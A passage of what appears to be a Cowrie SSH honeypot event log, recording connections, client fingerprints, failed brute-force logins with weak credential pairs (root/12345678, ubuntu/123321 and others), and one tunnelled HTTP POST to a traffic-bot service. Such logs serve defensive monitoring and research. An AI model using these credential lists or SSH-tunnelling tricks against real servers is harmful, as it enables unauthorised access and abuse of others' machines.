arded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.4.3; Mobile; rv:75.0) Gecko/75.0 Firefox/75.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1166\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Y0NwKj5wP080L0IhWHgjeQ%3D%3D%2B3abcYSiibEfrExLIwqRgJfI9juH4M916TV4dNv7xJToAVfsZx72RLj4pVVgUP%2Bpn8PS2cbo5AX%2BCb2c8PssM%2B1VC%2FAye2lHTCvSOCFsEHFNIcWZHOorxgiJNcGj0DvIU0xOOwBU3%2F%2FPTKtp51ZCurHzLLFgiW4yMGTWuR8tzfqS3tzWUPhlLwjoJ7MfcN22D5Ju6D6NXStzPPg4zSBrd3LcW7zR461oZWHB3YlkbTHd7fQPTD7ZLrlETvKrp5%2BwawcxhrUwKukf3RoUVbxNGQvdkUS6XtuxqDuwl2oYcM2xhzLJg0yMRytSwjVh4yxmXvw2ILnSpQWWwS21ZFussedypfJi7377pUj8l8gggNOcpfSMe%2F42m719MeOCbeKaZIVi0PhZNSVv%2FjW%2FJSJzpbD9GLfH4lj3daJTh2lMkXPa5hwU8QMAqOznNn5tEOKk01vgjQngeKcyhqvl4YKsjwpnLSsmfgpnU1GnqqDrzncbllgAufmEczU4vqQQYXO5F%2F2Rxx%2BpJABZ2pFxiwRQp6jO9zKl5EHwvHBZ90barfnLAwYvLpp0g0c5uz2AinZiN2tOevlX2IT7r%2BaTOu842C7GoaDev46wFj3xs6Ji0682U1dda8eeh84E4PyGRml5iJRJOZPkxPlss8VFe%2Fn1mhYJeV3PxSo6rG9DaCVe2oHWBmQbhJQAMe%2FCZi5dH%2BKMkNYhAT7OB9DOUCbFXya2KlWrWWPPVS12c1BCjD7oRqZI%2FNBaL4i%2FGzRVcMsH171Y2lFNygNW7x2%2BF1cuX0F%2BYn5gIy1SpX5CK6XgPhA30p%2Bo9m3vaxuOrPNvX%2Fd0myJ2LvNrXkyBt3s5ZIUPJGkxxwCh4aMAx1ltKH%2BjB%2FpSV%2B%2F8fcER7ZqGVoecNVkoJ8LEohIUxBo0cVojrr0Z8g1AD%2BKUEt5A3mNNSzIEN%2FLPH1MvIDI%2FaoAGXXZx815uzzVjIv6O%2FObiPXDBBwHnT4DkhS0N4dibnD4604ag5p7v2Rq4khGvh1BlCzauZ6hhqRLB%2F13fxVVr1vQ8Dpj93OxcM%2Fz1xaaMScsWK6bplQXMORk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:24.460227Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62668,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c87e731ecc","protocol":"ssh","message":"New connection: 45.153.34.195:62668 (10.17.0.5:22) [session: c6c87e731ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:25.548726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:25.630620Z","src_ip":"45.153.34.195","session":"c6c87e731ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:25.676787Z","src_ip":"45.153.34.195","session":"c6c87e731ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:26.092025Z","src_ip":"91.92.40.36","session":"4b5526e7f93a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:26.118723Z","src_ip":"45.153.34.195","session":"c6c87e731ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:27.248354Z","src_ip":"45.153.34.195","session":"c6c87e731ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65390,"dst_ip":"10.17.0.5","dst_port":22,"session":"003065451d03","protocol":"ssh","message":"New connection: 91.92.40.36:65390 (10.17.0.5:22) [session: 003065451d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:28.152244Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62686,"dst_ip":"10.17.0.5","dst_port":22,"session":"13c88a706a43","protocol":"ssh","message":"New connection: 45.153.34.195:62686 (10.17.0.5:22) [session: 13c88a706a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:28.437014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:28.456314Z","src_ip":"45.153.34.195","session":"13c88a706a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:28.657037Z","src_ip":"45.153.34.195","session":"13c88a706a43","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:29.057155Z","src_ip":"91.92.40.36","session":"003065451d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:29.062401Z","src_ip":"91.92.40.36","session":"003065451d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"noah","password":"noah","message":"login attempt [noah/noah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:29.073996Z","src_ip":"45.153.34.195","session":"13c88a706a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:30.178931Z","src_ip":"45.153.34.195","session":"13c88a706a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:31.062927Z","src_ip":"91.92.40.36","session":"003065451d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62710,"dst_ip":"10.17.0.5","dst_port":22,"session":"c456eb6d6ba3","protocol":"ssh","message":"New connection: 45.153.34.195:62710 (10.17.0.5:22) [session: c456eb6d6ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:31.470491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:31.483342Z","src_ip":"45.153.34.195","session":"c456eb6d6ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:31.573485Z","src_ip":"45.153.34.195","session":"c456eb6d6ba3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:32.146648Z","src_ip":"45.153.34.195","session":"c456eb6d6ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:32.733344Z","src_ip":"91.92.40.36","session":"003065451d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:33.230046Z","src_ip":"45.153.34.195","session":"c456eb6d6ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51526,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d755e4e6c0","protocol":"ssh","message":"New connection: 45.153.34.195:51526 (10.17.0.5:22) [session: 69d755e4e6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:34.538646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:34.555439Z","src_ip":"45.153.34.195","session":"69d755e4e6c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:34.655340Z","src_ip":"45.153.34.195","session":"69d755e4e6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9090","message":"login attempt [root/9090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:35.226501Z","src_ip":"45.153.34.195","session":"69d755e4e6c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:36.314278Z","src_ip":"45.153.34.195","session":"69d755e4e6c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48960,"dst_ip":"10.17.0.5","dst_port":22,"session":"c56d4955d560","protocol":"ssh","message":"New connection: 91.92.40.36:48960 (10.17.0.5:22) [session: c56d4955d560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:36.662453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:37.006288Z","src_ip":"91.92.40.36","session":"c56d4955d560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:37.011156Z","src_ip":"91.92.40.36","session":"c56d4955d560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51544,"dst_ip":"10.17.0.5","dst_port":22,"session":"5228acc29a3f","protocol":"ssh","message":"New connection: 45.153.34.195:51544 (10.17.0.5:22) [session: 5228acc29a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:37.536102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:37.541378Z","src_ip":"45.153.34.195","session":"5228acc29a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:37.628329Z","src_ip":"45.153.34.195","session":"5228acc29a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456A","message":"login attempt [root/123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:37.885304Z","src_ip":"45.153.34.195","session":"5228acc29a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:38.917112Z","src_ip":"91.92.40.36","session":"c56d4955d560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:38.969555Z","src_ip":"45.153.34.195","session":"5228acc29a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:40.099459Z","src_ip":"91.92.40.36","session":"c56d4955d560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51570,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f5e9bdd951f","protocol":"ssh","message":"New connection: 45.153.34.195:51570 (10.17.0.5:22) [session: 8f5e9bdd951f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:40.503732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:40.510203Z","src_ip":"45.153.34.195","session":"8f5e9bdd951f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-s